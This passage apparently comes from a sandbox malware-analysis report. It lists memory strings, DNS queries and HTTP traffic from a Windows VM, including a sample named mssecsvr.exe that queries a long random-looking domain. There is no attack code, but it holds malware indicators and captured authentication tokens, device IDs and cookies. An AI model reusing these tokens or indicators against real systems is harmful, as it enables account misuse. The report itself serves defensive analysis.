]}],"MarketProperties":[{"RelatedProducts":[],"Markets":["US"]}],"ProductASchema":"Product;3","ProductBSchema":"ProductUnifiedApp;3","ProductId":"9NCBCSZSJRSB","Properties":{"PackageFamilyName":"SpotifyAB.SpotifyMusic_zpdnekdrzrea0","PackageIdentityName":"SpotifyAB.SpotifyMusic","PublisherCertificateName":"CN=453637B3-4E12-4CDF-B0D3-2A3C863BF6EF","XboxCrossGenSetId":null,"XboxConsoleGenOptimized":null,"XboxConsoleGenCompatible":null},"AlternateIds":[{"IdType":"LegacyWindowsStoreProductId","Value":"ceac5d3f-8a4f-40e1-9a67-76d9108c7cb5"},{"IdType":"LegacyWindowsPhoneProductId","Value":"caac1b9d-621b-4f96-b143-e10e1397740a"},{"IdType":"XboxTitleId","Value":"1681279293"}],"IngestionSource":"DCE","IsMicrosoftProduct":false,"PreferredSkuId":"0010","ProductType":"Application","ValidationData":{"PassedValidation":false,"RevisionId":"2022-07-20T13:21:02.8104380Z\|\|.\|\|4998f0a4-af49-449b-82d0-89396bef82ff\|\|1152921505695074449\|\|Null\|\|fullrelease","ValidationResultUri":""},"MerchandizingTags":[],"PartD":"","ProductFamily":"Apps","ProductKind":"Application","DisplaySkuAvailab
Source: svchost.exe, 0000001B.00000003.707789557.000002208CB5C000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: Try it free for 30 days, no strings attached\r\n\r\nLike us on Facebook: http://www.facebook.com/spotify \r\nFollow us on Twitter: http://twitter.com/spotify","ProductTitle":"Spotify - Music and Podcasts","SearchTitles":[{"SearchTitleString":"Spotify","SearchTitleType":"SearchHint"},{"SearchTitleString":"Music","SearchTitleType":"SearchHint"},{"SearchTitleString":"music apps","SearchTitleType":"SearchHint"},{"SearchTitleString":"free music","SearchTitleType":"SearchHint"},{"SearchTitleString":"podcasts","SearchTitleType":"SearchHint"},{"SearchTitleString":"streaming","SearchTitleType":"SearchHint"},{"SearchTitleString":"soundcloud","SearchTitleType":"SearchHint"}],"Language":"en-us","Markets":["US","DZ","AR","AU","AT","BH","BD","BE","BR","BG","CA","CL","CN","CO","CR","HR","CY","CZ","DK","EG","EE","FI","FR","DE","GR","GT","HK","HU","IS","IN","ID","IQ","IE","IL","IT","JP","JO","KZ","KE","KW","LV","LB","LI","LT","LU","MY","MT","MR","MX","MA","NL","NZ","NG","NO","OM","PK","PE","PH","PL","PT","QA","RO","RU","SA","RS","SG","SK","SI","ZA","KR","ES","SE","CH","TW","TH","TT","TN","TR","UA","AE","GB","VN","YE","LY","LK","UY","VE","AF","AX","AL","AS","AO","AI","AQ","AG","AM","AW","BO","BQ","BA","BW","BV","IO","BN","BF","BI","KH","CM","CV","KY","CF","TD","TL","DJ","DM","DO","EC","SV","GQ","ER","ET","FK","FO","FJ","GF","PF","TF","GA","GM","GE","GH","GI","GL","GD","GP","GU","GG","GN","GW","GY","HT","HM","HN","AZ","BS","BB","BY","BZ","BJ","BM","BT","KM","CG","CD","CK","CX","CC","CI","CW","JM","SJ","JE","KI","KG","LA","LS","LR","MO","MK","MG","MW","IM","MH","MQ","MU","YT","FM","MD","MN","MS","MZ","MM","NA","NR","NP","MV","ML","NC","NI","NE","NU","NF","PW","PS","PA","PG","PY","RE","RW","BL","MF","WS","ST","SN","MP","PN","SX","SB","SO","SC","SL","GS","SH","KN","LC","PM","VC","TJ","TZ","TG","TK","TO","TM","TC","TV","UM","UG","VI","VG","WF","EH","ZM","ZW","UZ","VU","SR","SZ","AD","MC","SM","ME","VA","NEUTRAL"]}],"MarketProperties":[{"RelatedProducts":[],"Markets":["US"]}],"ProductASchema":"Product;3","ProductBSchema":"ProductUnifiedApp;3","ProductId":"9NCBCSZSJRSB","Properties":{"PackageFamilyName":"SpotifyAB.SpotifyMusic_zpdnekdrzrea0","PackageIdentityName":"SpotifyAB.SpotifyMusic","PublisherCertificateName":"CN=453637B3-4E12-4CDF-B0D3-2A3C863BF6EF","XboxCrossGenSetId":null,"XboxConsoleGenOptimized":null,"XboxConsoleGenCompatible":null},"AlternateIds":[{"IdType":"LegacyWindowsStoreProductId","Value":"ceac5d3f-8a4f-40e1-9a67-76d9108c7cb5"},{"IdType":"LegacyWindowsPhoneProductId","Value":"caac1b9d-621b-4f96-b143-e10e1397740a"},{"IdType":"XboxTitleId","Value":"1681279293"}],"IngestionSource":"DCE","IsMicrosoftProduct":false,"PreferredSkuId":"0010","ProductType":"Application","ValidationData":{"PassedValidation":false,"RevisionId":"2022-07-20T13:21:02.8104380Z\|\|.\|\|4998f0a4-af49-449b-82d0-89396bef82ff\|\|1152921505695074449\|\|Null\|\|fullrelease","ValidationResultUri":""},"MerchandizingTags":[],"PartD":"","ProductFamily":"Apps","ProductKind":"Application","DisplaySkuAvailab

Source: svchost.exe, 0000001B.00000002.762700753.000002208CB00000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://crl.globalsign.net/root-r2.crl0
Source: svchost.exe, 0000001B.00000002.762567875.000002208C0EB000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://crl.ver)
Source: svchost.exe, 0000001B.00000003.728521628.000002208CB8C000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://help.disneyplus.com.
Source: mssecsvr.exe.2.dr	String found in binary or memory: http://www.iuqerfsodp9ifjaposdfjhgosurijfaewrwergwff.com
Source: mssecsvr.exe, 00000004.00000002.387177943.0000000000BCE000.00000004.00000020.00020000.00000000.sdmp, mssecsvr.exe, 00000004.00000002.387199870.0000000000BF3000.00000004.00000020.00020000.00000000.sdmp, mssecsvr.exe, 00000006.00000003.385262530.0000000000BCB000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://www.iuqerfsodp9ifjaposdfjhgosurijfaewrwergwff.com/
Source: mssecsvr.exe, 00000007.00000003.386463746.0000000000B05000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://www.iuqerfsodp9ifjaposdfjhgosurijfaewrwergwff.com/k
Source: mssecsvr.exe, 00000007.00000003.386463746.0000000000B05000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://www.iuqerfsodp9ifjaposdfjhgosurijfaewrwergwff.com/x
Source: mssecsvr.exe, 00000007.00000002.977783240.000000000019C000.00000004.00000010.00020000.00000000.sdmp	String found in binary or memory: http://www.iuqerfsodp9ifjaposdfjhgosurijfaewrwergwff.comJ
Source: svchost.exe, 0000001B.00000003.728521628.000002208CB8C000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://disneyplus.com/legal.
Source: svchost.exe, 0000001B.00000003.723059102.000002208D002000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 0000001B.00000003.723097648.000002208D003000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 0000001B.00000003.723584349.000002208CBB0000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 0000001B.00000003.723358311.000002208CB9F000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 0000001B.00000003.723838506.000002208D019000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 0000001B.00000003.723799270.000002208CB8C000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://support.hotspotshield.com/
Source: svchost.exe, 0000001B.00000003.728521628.000002208CB8C000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://www.disneyplus.com/legal/privacy-policy
Source: svchost.exe, 0000001B.00000003.728521628.000002208CB8C000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://www.disneyplus.com/legal/your-california-privacy-rights
Source: svchost.exe, 0000001B.00000003.723059102.000002208D002000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 0000001B.00000003.723097648.000002208D003000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 0000001B.00000003.723584349.000002208CBB0000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 0000001B.00000003.723358311.000002208CB9F000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 0000001B.00000003.723838506.000002208D019000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 0000001B.00000003.723799270.000002208CB8C000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://www.hotspotshield.com/terms/
Source: svchost.exe, 0000001B.00000003.723059102.000002208D002000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 0000001B.00000003.723097648.000002208D003000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 0000001B.00000003.723584349.000002208CBB0000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 0000001B.00000003.723358311.000002208CB9F000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 0000001B.00000003.723838506.000002208D019000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 0000001B.00000003.723799270.000002208CB8C000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://www.pango.co/privacy
Source: svchost.exe, 0000001B.00000003.732417365.000002208D002000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 0000001B.00000003.732322584.000002208CB9F000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 0000001B.00000003.732387069.000002208CB8C000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://www.tiktok.com/legal/report/feedback

Source: unknown

HTTP traffic detected: POST /RST2.srf HTTP/1.0Connection: Keep-AliveContent-Type: application/soap+xmlAccept: */*User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 10.0; Win64; .NET4.0C; .NET4.0E; .NET CLR 2.0.50727; .NET CLR 3.0.30729; .NET CLR 3.5.30729; IDCRL 18.10.0.17134.0.0; IDCRL-cfg 16.000.29340.5; App svchost.exe, 10.0.17134.1, {DF60E2DF-88AD-4526-AE21-83D130EF0F68})Content-Length: 3592Host: login.live.com

Source: unknown

DNS traffic detected: queries for: www.iuqerfsodp9ifjaposdfjhgosurijfaewrwergwff.com

Source: global traffic	HTTP traffic detected: GET /v3/Delivery/Placement?pubid=da63df93-3dbc-42ae-a505-b34988683ac7&pid=314559&adm=2&w=1&h=1&wpx=1&hpx=1&fmt=json&cltp=app&dim=le&rafb=0&nct=1&pm=1&cfmt=text,image,poly&sft=jpeg,png,gif&topt=1&poptin=0&localid=w:EE4890C5-90AE-59E2-5AC5-C20AA6654592&ctry=US&time=20220721T022943Z&lc=en-US&pl=en-US&idtp=mid&uid=d9fcfe42-b5d5-4629-ac66-c2605ea824c4&aid=00000000-0000-0000-0000-000000000000&ua=WindowsShellClient%2F9.0.40929.0%20%28Windows%29&asid=b83311f5b46144cc8a9ff39e4af791f4&ctmode=MultiSession&arch=x64&cdm=1&cdmver=10.0.17134.1&devfam=Windows.Desktop&devform=Unknown&devosver=10.0.17134.1&disphorzres=1280&dispsize=17.1&dispvertres=1024&isu=0&lo=1611744&metered=false&nettype=ethernet&npid=sc-314559&oemName=VMware%2C%20Inc.&oemid=VMware%2C%20Inc.&ossku=Professional&smBiosDm=VMware7%2C1&tl=2&tsu=1611744&waasBldFlt=1&waasCfgExp=1&waasCfgSet=1&waasRetail=1&waasRing= HTTP/1.1Accept-Encoding: gzip, deflateX-SDK-CACHE: chs=0&imp=0&chf=0&ds=50583&fs=32220&sc=6Cache-Control: no-cacheMS-CV: bdqkxvXCTUu0dYV/.0User-Agent: WindowsShellClient/9.0.40929.0 (Windows)X-SDK-HWF: tch0,m301,m751,mA01,mT01Host: arc.msn.comConnection: Keep-Alive
Source: global traffic	HTTP traffic detected: GET /v3/Delivery/Placement?pubid=da63df93-3dbc-42ae-a505-b34988683ac7&pid=310091&adm=2&w=1&h=1&wpx=1&hpx=1&fmt=json&cltp=app&dim=le&rafb=0&nct=1&pm=1&cfmt=text,image,poly&sft=jpeg,png,gif&topt=1&poptin=0&localid=w:EE4890C5-90AE-59E2-5AC5-C20AA6654592&ctry=US&time=20220721T022943Z&lc=en-US&pl=en-US&idtp=mid&uid=d9fcfe42-b5d5-4629-ac66-c2605ea824c4&aid=00000000-0000-0000-0000-000000000000&ua=WindowsShellClient%2F9.0.40929.0%20%28Windows%29&asid=5e2b41e237bc43c38f66525b1357dee4&ctmode=MultiSession&arch=x64&cdm=1&cdmver=10.0.17134.1&devfam=Windows.Desktop&devform=Unknown&devosver=10.0.17134.1&disphorzres=1280&dispsize=17.1&dispvertres=1024&isu=0&lo=1611744&metered=false&nettype=ethernet&npid=sc-310091&oemName=VMware%2C%20Inc.&oemid=VMware%2C%20Inc.&ossku=Professional&rver=2&smBiosDm=VMware7%2C1&tl=2&tsu=1611744&waasBldFlt=1&waasCfgExp=1&waasCfgSet=1&waasRetail=1&waasRing= HTTP/1.1Accept-Encoding: gzip, deflateX-SDK-CACHE: chs=0&imp=0&chf=0&ds=50583&fs=32220&sc=6Cache-Control: no-cacheMS-CV: bdqkxvXCTUu0dYV/.0User-Agent: WindowsShellClient/9.0.40929.0 (Windows)X-SDK-HWF: tch0,m301,m751,mA01,mT01Host: arc.msn.comConnection: Keep-Alive
Source: global traffic	HTTP traffic detected: GET /proactive/v2/spark?cc=US&setLang=en-US HTTP/1.1X-Search-CortanaAvailableCapabilities: CortanaExperience,SpeechLanguageX-Search-SafeSearch: ModerateAccept-Encoding: gzip, deflateX-Device-MachineId: {A2AB526A-D38D-4FC9-8BA0-E34B8D6354E8}X-Device-IsBatteryCertified: falseX-UserAgeClass: UnknownX-BM-Market: USX-BM-DateFormat: M/d/yyyyX-CortanaAccessAboveLock: falseX-Device-OSSKU: 48X-Device-IsBatteryEnabled: falseX-Device-NetworkType: ethernetX-BM-DTZ: -420X-BM-FirstEnabledTime: 132061395240662859X-DeviceID: 0100748C0900F661X-VoiceActivationOn: falseX-Device-AudioCapture: Microphone (High Definition Audio Device)X-Search-TimeZone: Bias=480; DaylightBias=-60; TimeZoneKeyName=Pacific Standard TimeX-BM-Theme: 000000;0078d7X-Search-RPSToken: t%3DEwDYAkR8BAAUcvamItSE/vUHpyZRp3BeyOJPQDsAAd21g6yyDc/GBo99yBHK5LNT7AwqIBVMZvo7ue8j%2BqKJoWP4wUNwLmnMBr2oQepGF5o8/OYXHFEJ%2Bdc7AVcx5FMWBs/WhftHJY4feIwC7zgUjYAjS9RWpWtFsV7auupQ8WD6blffbol7QbCvpHozPMAZgFQ0SuwU8v3iow8OJ9ddcph0F9QFpF/7KlV1gJvJ8Xr3i/BehAvI7I4kMOsWudhJn19uaG25Gy70afa4vvP9tfK0sUSDcxb4uv8yDxKZ4tCLqfiEQiR/YodgpzTyukyBthqr%2BR4B%2BkA657qZKmOqbcjVFSp1NUrdGwczkPNHPtVTYvg1ReCxhcMsZQ7YrBoDZgAACOsfISv1qAUcqAHEuTsi1Qrric8csc%2BgmPyaZTjyAxZ87OBWeAgy5d0NJz%2BMV4NDViLU/U290tgx2EGya4kW4c22JpOdvuBwFyvIJDIWsylIUQBpX5RQhB4%2B8TH9d78uQXoIwV3wRtlCdOKMFIYaIjZTxc/CN62SEzufMBMk/R/5VkS3caA1Q5Vohvaw3z4U68hb1LjYBdpa3jjUVAI2lKy1v7g4qhvDIpWqZnIrx4T5rrbrc7/lP17WA75gpp97g25B%2BhSBcGSZouuAkdJHdlkQ2XtaJqmdNRquHUPZyfmhCwW4Q5pISzLPIlSLE5jHmvfzoJndfnEyULIZP5CoX5lqoH1PzB0ZLvFb0c7gLZnANS8lOHaSpg385UTLG1b5VipXFAyfb1CuMog7XzbSLq10fDZIcz4o8mKr9BnlFf7VDR0cBPm39RaPzZbre8dxIV5CC5NmTbsAey42D5pAmf3Kg9Dcu2%2Bp%2BcojbJ/nDK7aaGg8jGJmgKIVydyvMNIrxwFuuD8cAXhBHQrHyjCyWN2GULsHx/DkdoENXNECsAudAv3muMrggC/f7rEP59EyWOFW1gE%3D%26p%3DX-Agent-DeviceId: 0100748C0900F661X-BM-CBT: 1658370583User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; Cortana 1.10.7.17134; 10.0.0.0.17134.1) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/64.0.3282.140 Safari/537.36 Edge/17.17134X-Device-isOptin: trueAccept-language: en-US, enX-Device-IsEnergyHero: falseX-Device-Touch: falseX-Device-ClientSession: DFA964761F6A4013B2100B55A6B043E3X-Search-AppId: Microsoft.Windows.Cortana_cw5n1h2txyewy!CortanaUIX-BM-ClientFeatures: pbitcpdisabled,AmbientWidescreen,rs1musicprod,CortanaSPAXamlHeaderHost: www.bing.comConnection: Keep-AliveCookie: MUID=7E1F7E3AB9E24BF9AA0D8F6664CA6F63
Source: global traffic	HTTP traffic detected: GET /client/config?cc=US&setlang=en-US HTTP/1.1X-Search-CortanaAvailableCapabilities: CortanaExperience,SpeechLanguageX-Search-SafeSearch: ModerateAccept-Encoding: gzip, deflateX-Device-MachineId: {A2AB526A-D38D-4FC9-8BA0-E34B8D6354E8}X-UserAgeClass: UnknownX-BM-Market: USX-BM-DateFormat: M/d/yyyyX-CortanaAccessAboveLock: falseX-Device-OSSKU: 48X-BM-DTZ: -420X-BM-FirstEnabledTime: 132061395240662859X-DeviceID: 0100748C0900F661X-Search-TimeZone: Bias=480; DaylightBias=-60; TimeZoneKeyName=Pacific Standard TimeX-BM-Theme: 000000;0078d7X-Search-RPSToken: t%3DEwDYAkR8BAAUcvamItSE/vUHpyZRp3BeyOJPQDsAAd21g6yyDc/GBo99yBHK5LNT7AwqIBVMZvo7ue8j%2BqKJoWP4wUNwLmnMBr2oQepGF5o8/OYXHFEJ%2Bdc7AVcx5FMWBs/WhftHJY4feIwC7zgUjYAjS9RWpWtFsV7auupQ8WD6blffbol7QbCvpHozPMAZgFQ0SuwU8v3iow8OJ9ddcph0F9QFpF/7KlV1gJvJ8Xr3i/BehAvI7I4kMOsWudhJn19uaG25Gy70afa4vvP9tfK0sUSDcxb4uv8yDxKZ4tCLqfiEQiR/YodgpzTyukyBthqr%2BR4B%2BkA657qZKmOqbcjVFSp1NUrdGwczkPNHPtVTYvg1ReCxhcMsZQ7YrBoDZgAACOsfISv1qAUcqAHEuTsi1Qrric8csc%2BgmPyaZTjyAxZ87OBWeAgy5d0NJz%2BMV4NDViLU/U290tgx2EGya4kW4c22JpOdvuBwFyvIJDIWsylIUQBpX5RQhB4%2B8TH9d78uQXoIwV3wRtlCdOKMFIYaIjZTxc/CN62SEzufMBMk/R/5VkS3caA1Q5Vohvaw3z4U68hb1LjYBdpa3jjUVAI2lKy1v7g4qhvDIpWqZnIrx4T5rrbrc7/lP17WA75gpp97g25B%2BhSBcGSZouuAkdJHdlkQ2XtaJqmdNRquHUPZyfmhCwW4Q5pISzLPIlSLE5jHmvfzoJndfnEyULIZP5CoX5lqoH1PzB0ZLvFb0c7gLZnANS8lOHaSpg385UTLG1b5VipXFAyfb1CuMog7XzbSLq10fDZIcz4o8mKr9BnlFf7VDR0cBPm39RaPzZbre8dxIV5CC5NmTbsAey42D5pAmf3Kg9Dcu2%2Bp%2BcojbJ/nDK7aaGg8jGJmgKIVydyvMNIrxwFuuD8cAXhBHQrHyjCyWN2GULsHx/DkdoENXNECsAudAv3muMrggC/f7rEP59EyWOFW1gE%3D%26p%3DX-Agent-DeviceId: 0100748C0900F661X-BM-CBT: 1658370583User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; Cortana 1.10.7.17134; 10.0.0.0.17134.1) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/64.0.3282.140 Safari/537.36 Edge/17.17134X-Device-isOptin: trueAccept-language: en-US, enX-Device-Touch: falseX-Device-ClientSession: DFA964761F6A4013B2100B55A6B043E3X-Search-AppId: Microsoft.Windows.Cortana_cw5n1h2txyewy!CortanaUIX-BM-ClientFeatures: pbitcpdisabled,AmbientWidescreen,rs1musicprod,CortanaSPAXamlHeaderHost: www.bing.comConnection: Keep-AliveCookie: MUID=7E1F7E3AB9E24BF9AA0D8F6664CA6F63
Source: global traffic	HTTP traffic detected: GET /v3/Delivery/Placement?pubid=da63df93-3dbc-42ae-a505-b34988683ac7&pid=280815&adm=2&w=1&h=1&wpx=1&hpx=1&fmt=json&cltp=app&dim=le&rafb=0&nct=1&pm=1&cfmt=text,image,poly&sft=jpeg,png,gif&topt=1&poptin=0&localid=w:EE4890C5-90AE-59E2-5AC5-C20AA6654592&ctry=US&time=20220721T023032Z&lc=en-US&pl=en-US&idtp=mid&uid=d9fcfe42-b5d5-4629-ac66-c2605ea824c4&aid=00000000-0000-0000-0000-000000000000&ua=WindowsShellClient%2F9.0.40929.0%20%28Windows%29&asid=b54eafbf73704a06b00fd185d194a9fd&ctmode=MultiSession&arch=x64&cdm=1&cdmver=10.0.17134.1&devfam=Windows.Desktop&devform=Unknown&devosver=10.0.17134.1&disphorzres=1280&dispsize=17.1&dispvertres=1024&isu=0&lo=1611745&metered=false&nettype=ethernet&npid=sc-280815&oemName=febefl%2C%20Inc.&oemid=febefl%2C%20Inc.&ossku=Professional&smBiosDm=febefl7%2C1&tl=2&tsu=1611745&waasBldFlt=1&waasCfgExp=1&waasCfgSet=1&waasRetail=1&waasRing= HTTP/1.1Accept-Encoding: gzip, deflateX-SDK-CACHE: chs=0&imp=0&chf=0&ds=50583&fs=32220&sc=6X-SDK-HW-TOKEN: t=EwDYAppeBAAUlAKXDAofTQM+n+MaRVFKzH/ehWgAAd5uDZSYuIHeTKN+JoqPycfljiqgE2+VIkCzGzaJUVrFXxztfBKtxZkJP0DuBYtpSC0cyhDUcuqkWhEAPLbwpzI6eZhnTpB5AEEcs2a77BomixSeyA5nF/abMnliOssMHbEZ85ZB+OMkugfz5kOtPge9MHwIllANexy9fXy1nuiyBwOCnIY2TOcFNUWetnrs16Tvx4Rfi6WwV8UyFzl0KvegYauAJ9KIAfUUKwLTY+ZfzOrzg/fpNrmBFOnUBmK6b0UAmysjwlBThJe/SctEuM5u6pHs/K8L7nWIFLn/087V3SjFrN1ovVFc0LCp3WDvea65EhoZOH29VI285NIjGwoDZgAACGyqWswPloEQqAFkfnU+1P/mPE4U4du24fvrifPWRcwaMheEqBJlr9F0Gj6KGAQv7ZHygepG5hI9C1DMRo1TCuJl+G4Ij3oTBn0BR7WsFSsQYZppGiDtZaWS5UWKnBI7Oxl+mW9r/ezf9DvMoKx70GQ+WrzjJ/scyzJJOFvzMaLRTmDOWGIBLgRMcAGNy/Kta+qQGr2KTXxWJqFbrku7FODGFVtwM/6YhGvOYRTHyHhgHEwF4hJJIK1TtAHzbivF57BI09mrP5VotFVt733/kP3H/apQHk8kj7ax1bHaREnUZgO868IAwwDD9dVxT4JKDhh6Uj8P4rHs7bKKzE2FMmTYf2LziBUCbJsS1ZeyfBY4D4QlJB0X/7E4QiKC2kGthn/h4j6kmufuGl43TthojNxJuHmxh3O7gib0HP5d1V7cZwSA7xTqPUlTd14coSsLJLlqD/44WXRmb8QjjYppwAeVmij/swKPzxEvjaYCBl+8aiexiuqaxQQIyzVRRzA2BvNS19oBfI+wgxTEm1R1uY0nRwwIorxs3xbp6LfR8miDXtNU0rrrgXfGz0ZclkWHCIob1gE=&p=Cache-Control: no-cacheMS-CV: HaaqiicIfUqLEWgm.0User-Agent: WindowsShellClient/9.0.40929.0 (Windows)X-SDK-HWF: tch0,m301,m751,mA01,mT01Host: arc.msn.comConnection: Keep-Alive
Source: global traffic	HTTP traffic detected: GET /v3/Delivery/Placement?pubid=da63df93-3dbc-42ae-a505-b34988683ac7&pid=338389&adm=2&w=1&h=1&wpx=1&hpx=1&fmt=json&cltp=app&dim=le&rafb=0&nct=1&pm=1&cfmt=text,image,poly&sft=jpeg,png,gif&topt=1&poptin=0&localid=w:EE4890C5-90AE-59E2-5AC5-C20AA6654592&ctry=US&time=20220721T023031Z&lc=en-US&pl=en-US&idtp=mid&uid=d9fcfe42-b5d5-4629-ac66-c2605ea824c4&aid=00000000-0000-0000-0000-000000000000&ua=WindowsShellClient%2F9.0.40929.0%20%28Windows%29&asid=1b506c8d0635487fa34a00b268e23981&ctmode=MultiSession&arch=x64&cdm=1&cdmver=10.0.17134.1&devfam=Windows.Desktop&devform=Unknown&devosver=10.0.17134.1&disphorzres=1280&dispsize=17.1&dispvertres=1024&isu=0&lo=1611745&metered=false&nettype=ethernet&npid=sc-338389&oemName=febefl%2C%20Inc.&oemid=febefl%2C%20Inc.&ossku=Professional&smBiosDm=febefl7%2C1&tl=2&tsu=1611745&waasBldFlt=1&waasCfgExp=1&waasCfgSet=1&waasRetail=1&waasRing= HTTP/1.1Accept-Encoding: gzip, deflateX-SDK-CACHE: chs=0&imp=0&chf=0&ds=50583&fs=32220&sc=6X-SDK-HW-TOKEN: t=EwDYAppeBAAUlAKXDAofTQM+n+MaRVFKzH/ehWgAAX53Shot7GCa+sDJIfUzGa6x0fLGjdvS3Y29XWT6WEue7E2WN8hZ8KeczSoZbqfNsCoMhIlZ2iQ+MnysyzhMHoGfAJidy1ZnG4v74of4EO0LzDr9jjckEK1goIlqqofeQfIhsmgo706/Ain6QMuFqIgnhC1sVoX9wNDdU0eQc739b9iOiD4cdRD5h5olGrAeSuGKddqF7Wvtlcvw3uG3UV/uqW4q/014g01LJXusmPnzGvFcPhvg7iqV7V689H24URU749a9JGWF5ypSU2ckuqA5YPFkVbILdx/NPcvDEOwsf/cu40fO6zVltXkm7ESxuUXeDQRzhckg18OMNIcX4bsDZgAACJwvwvVDTpvDqAFbymVTC/9NfRWUcbutu6r8SRLGw6nRnIMBOFW9XDa9Lu/VYRv3eUFElUhlHZQ9Ow8WZIl6TqEc3Wl3nCD1g/psV3TZfPfEN4UlGA89xcGsMYo6vUbKJLzWwRKITsA+zSR55jhKzFSQk7ULfgX1eKsBQDxdaNzfQdIJ9WOc2lqSlqHHM6aBZmd4kly1BbWM5h4NOMvRBPKmUZaT8WdKNarfyB2GduZq0FbKoeGV8OnDe/B46j4foPdzlRm9p24eTV20fJM6OUb03sr2ZRRWX2+UUNgK41isZ+g6ALUtcTH77Hqh2MiHM2etu5/FLzOqMO5AsXu9YzNoK4eXT7wtn043B9SZm4ISVSIXAQEv3v7DbRfUbs9W00AvR6VyHOgEVCVaUCeANHtgTnkK07KHrsJG12q7jPofsc062AZU65Czq5wnicxJbJUDMvDB2GdEigYPw0c7OLKkArqodE3I6nreLmBpgqZJSxd8DZLOxciIH8zprHtFEALUjMzNOHSmNm9KDFfMAInmmKoGKbWrFJL/WJx65kHpuKmqA0SFTd/B4Cu2vUXT7w7r1gE=&p=Cache-Control: no-cacheMS-CV: HaaqiicIfUqLEWgm.0User-Agent: WindowsShellClient/9.0.40929.0 (Windows)X-SDK-HWF: tch0,m301,m751,mA01,mT01Host: arc.msn.comConnection: Keep-Alive
Source: global traffic	HTTP traffic detected: GET /v3/Delivery/Placement?pubid=da63df93-3dbc-42ae-a505-b34988683ac7&pid=338387&adm=2&w=1&h=1&wpx=1&hpx=1&fmt=json&cltp=app&dim=le&rafb=0&nct=1&pm=1&cfmt=text,image,poly&sft=jpeg,png,gif&topt=1&poptin=0&localid=w:EE4890C5-90AE-59E2-5AC5-C20AA6654592&ctry=US&time=20220721T023045Z&lc=en-US&pl=en-US&idtp=mid&uid=d9fcfe42-b5d5-4629-ac66-c2605ea824c4&aid=00000000-0000-0000-0000-000000000000&ua=WindowsShellClient%2F9.0.40929.0%20%28Windows%29&asid=c154c8f3bbdf4b679f670b87484d656b&ctmode=MultiSession&arch=x64&cdm=1&cdmver=10.0.17134.1&devfam=Windows.Desktop&devform=Unknown&devosver=10.0.17134.1&disphorzres=1280&dispsize=17.1&dispvertres=1024&isu=0&lo=1611745&metered=false&nettype=ethernet&npid=sc-338387&oemName=febefl%2C%20Inc.&oemid=febefl%2C%20Inc.&ossku=Professional&rver=2&sc-mode=0&smBiosDm=febefl7%2C1&tl=2&tsu=1611745&waasBldFlt=1&waasCfgExp=1&waasCfgSet=1&waasRetail=1&waasRing= HTTP/1.1Accept-Encoding: gzip, deflateX-SDK-CACHE: chs=0&imp=0&chf=0&ds=50583&fs=32220&sc=6X-SDK-HW-TOKEN: t=EwDYAppeBAAUlAKXDAofTQM+n+MaRVFKzH/ehWgAAX53Shot7GCa+sDJIfUzGa6x0fLGjdvS3Y29XWT6WEue7E2WN8hZ8KeczSoZbqfNsCoMhIlZ2iQ+MnysyzhMHoGfAJidy1ZnG4v74of4EO0LzDr9jjckEK1goIlqqofeQfIhsmgo706/Ain6QMuFqIgnhC1sVoX9wNDdU0eQc739b9iOiD4cdRD5h5olGrAeSuGKddqF7Wvtlcvw3uG3UV/uqW4q/014g01LJXusmPnzGvFcPhvg7iqV7V689H24URU749a9JGWF5ypSU2ckuqA5YPFkVbILdx/NPcvDEOwsf/cu40fO6zVltXkm7ESxuUXeDQRzhckg18OMNIcX4bsDZgAACJwvwvVDTpvDqAFbymVTC/9NfRWUcbutu6r8SRLGw6nRnIMBOFW9XDa9Lu/VYRv3eUFElUhlHZQ9Ow8WZIl6TqEc3Wl3nCD1g/psV3TZfPfEN4UlGA89xcGsMYo6vUbKJLzWwRKITsA+zSR55jhKzFSQk7ULfgX1eKsBQDxdaNzfQdIJ9WOc2lqSlqHHM6aBZmd4kly1BbWM5h4NOMvRBPKmUZaT8WdKNarfyB2GduZq0FbKoeGV8OnDe/B46j4foPdzlRm9p24eTV20fJM6OUb03sr2ZRRWX2+UUNgK41isZ+g6ALUtcTH77Hqh2MiHM2etu5/FLzOqMO5AsXu9YzNoK4eXT7wtn043B9SZm4ISVSIXAQEv3v7DbRfUbs9W00AvR6VyHOgEVCVaUCeANHtgTnkK07KHrsJG12q7jPofsc062AZU65Czq5wnicxJbJUDMvDB2GdEigYPw0c7OLKkArqodE3I6nreLmBpgqZJSxd8DZLOxciIH8zprHtFEALUjMzNOHSmNm9KDFfMAInmmKoGKbWrFJL/WJx65kHpuKmqA0SFTd/B4Cu2vUXT7w7r1gE=&p=Cache-Control: no-cacheMS-CV: HaaqiicIfUqLEWgm.0User-Agent: 